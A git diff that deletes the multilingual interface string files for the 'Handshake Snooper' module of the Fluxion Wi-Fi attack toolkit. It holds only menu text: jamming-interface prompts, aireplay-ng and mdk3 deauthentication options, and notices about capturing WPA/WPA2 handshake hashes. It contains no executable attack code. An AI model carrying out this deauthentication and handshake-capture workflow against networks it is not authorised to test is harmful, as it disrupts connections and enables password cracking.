-HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/de.sh b/fluxion_origins/attacks/Handshake Snooper/language/de.sh deleted file mode 100755 index ebae27b..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/de.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Erwirbt WPA/WPA2-Verschlüsselungs-Hashes. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/el.sh b/fluxion_origins/attacks/Handshake Snooper/language/el.sh deleted file mode 100755 index c998fc1..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/el.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Αποκτά τα hashes κρυπτογράφησης WPA/WPA2. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Διαλεξτε μια μεθοδο για την αποκτηση του handshake" -HandshakeSnooperMonitorMethodOption="Παρακολουθηση (${CYel}αβλαβης$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng αποσυνδεση (${CRed}επιθετικη$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 αποσυνδεση (${CRed}επιθετικη$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="Ανα ποση ωρα να ελεγχω για το handshake?" -HandshakeSnooperVerifierInterval30SOption="Καθε 30 δευτερολεπτα(${CGrn}προτεινομενο${CClr})." -HandshakeSnooperVerifierInterval60SOption="Καθε 60 δευτερολεπτα." -HandshakeSnooperVerifierInterval90SOption="Καθε 90 δευτερολεπτα." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="Πως να κανω την επιβεβαιωση?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Ασυγχρονα (${CYel}γρηγορα συστηματα μονο${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Συγχρονισμενα (${CGrn}προτεινομενο${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}ανιχνευτης Handshake$CClr ελεγκτης υπηρεσιας τρεχει." -HandshakeSnooperSnoopingForNSecondsNotice="ελεγχος για \$HandshakeSnooperVerifierInterval δευτερολεπτα." -HandshakeSnooperStoppingForVerifierNotice="τερματισμος ανιχνευτη & ελεγχος για hashes." -HandshakeSnooperSearchingForHashesNotice="ψαχνω για hashes στο προσληφθεν αρχειο." -HandshakeSnooperArbiterAbortedWarning="${CYel}τερματιστηκε${CClr}: Η διαδικασια τερματιστηκε, δε βρεθηκε εγκυρο hash." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Επιτυχες${CClr}: Ενα εγκυρο hash βρεθηκε και αποθηκευτηκε στη βαση δεδομενων του Fluxion." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Ελεγκτης$CBYel η επιθεση ολοκληρωθηκε,κλειστε αυτο το παραθυρο και ξεκινηστε μια αλλη επιθεση.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END Ζαρτας diff --git a/fluxion_origins/attacks/Handshake Snooper/language/en.sh b/fluxion_origins/attacks/Handshake Snooper/language/en.sh deleted file mode 100755 index 3fe7ef6..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/en.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquires WPA/WPA2 encryption hashes. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/es.sh b/fluxion_origins/attacks/Handshake Snooper/language/es.sh deleted file mode 100755 index 63f3c69..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/es.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Adquiere los hashes de cifrado WPA/WPA2. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/fr.sh b/fluxion_origins/attacks/Handshake Snooper/language/fr.sh deleted file mode 100755 index 7e4afa1..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/fr.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquitte les hachages de cryptage WPA/WPA2. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Sélectionnez une méthode de récupération de handshake" -HandshakeSnooperMonitorMethodOption="Monitorer (${CYel}passif$CClr)" -HandshakeSnooperAireplayMethodOption="Désauthentification aireplay-ng (${CRed}aggressif$CClr)" -HandshakeSnooperMdk3MethodOption="Désauthentification mdk3 (${CRed}aggressif$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/it.sh b/fluxion_origins/attacks/Handshake Snooper/language/it.sh deleted file mode 100755 index 2308c4c..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/it.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquisisce gli hash di crittografia WPA/WPA2. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Seleziona il metodo di scoperta dell'handshake" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passivo$CClr)" -HandshakeSnooperAireplayMethodOption="deautenticazione aireplay-ng (${CRed}aggressivo$CClr)" -HandshakeSnooperMdk3MethodOption="deautenticazione mdk3 (${CRed}aggressivo$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="Ogni quanto il verificatore deve controllare per l'handshake?" -HandshakeSnooperVerifierInterval30SOption="Ogni 30 secondi (${CGrn}raccomandato${CClr})." -HandshakeSnooperVerifierInterval60SOption="Ogni 60 secondi." -HandshakeSnooperVerifierInterval90SOption="Ogni 90 secondi." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="Come deve avvenire la verifica?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="In modo asincrono (${CYel}solo sistemi veloci${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="In modo sincrono (${CGrn}raccomandato${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon avviato." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping per \$HandshakeSnooperVerifierInterval secondi." -HandshakeSnooperStoppingForVerifierNotice="Stop dello snooper & Ricerca degli hash." -HandshakeSnooperSearchingForHashesNotice="Ricerca degli hash nel file di cattura." -HandshakeSnooperArbiterAbortedWarning="${CYel}Cancellato${CClr}: L'operazione è stata cancellata, nessun hash trovato." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Riuscito${CClr}: Un hash valido è stato rilevato e salvato nel database fluxion." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attacco completato, chiudi questa finestra ed inizia un nuovo attacco.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/pl.sh b/fluxion_origins/attacks/Handshake Snooper/language/pl.sh deleted file mode 100755 index 3fe7ef6..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/pl.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquires WPA/WPA2 encryption hashes. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/pt-br.sh b/fluxion_origins/attacks/Handshake Snooper/language/pt-br.sh deleted file mode 100755 index 3fe7ef6..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/pt-br.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Acquires WPA/WPA2 encryption hashes. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/ro.sh b/fluxion_origins/attacks/Handshake Snooper/language/ro.sh deleted file mode 100755 index 5b638a7..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/ro.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Obțineți hash criptografic WPA/WPA2. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Select a method of handshake retrieval" -HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" -HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" -HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." -HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." -HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" -HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." -HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." -HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." -HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." -HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." -HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." -HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." -HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Handshake Snooper/language/ru.sh b/fluxion_origins/attacks/Handshake Snooper/language/ru.sh deleted file mode 100755 index cc86358..0000000 --- a/fluxion_origins/attacks/Handshake Snooper/language/ru.sh +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env bash -# identifier: Handshake Snopper -# description: Получает зашифрованные WPA/WPA2 хэши (рукопожатия). - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для мониторинга и глушения." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия" -HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)" -HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)" -HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk3 (${CRed} агрессивный $CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?" -HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})." -HandshakeSnooperVerifierInterval60SOption="Каждые 60 секунд." -HandshakeSnooperVerifierInterval90SOption="Каждые 90 секунд." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -HandshakeSnooperVerifierSynchronicityQuery="Как должна происходить верификация?" 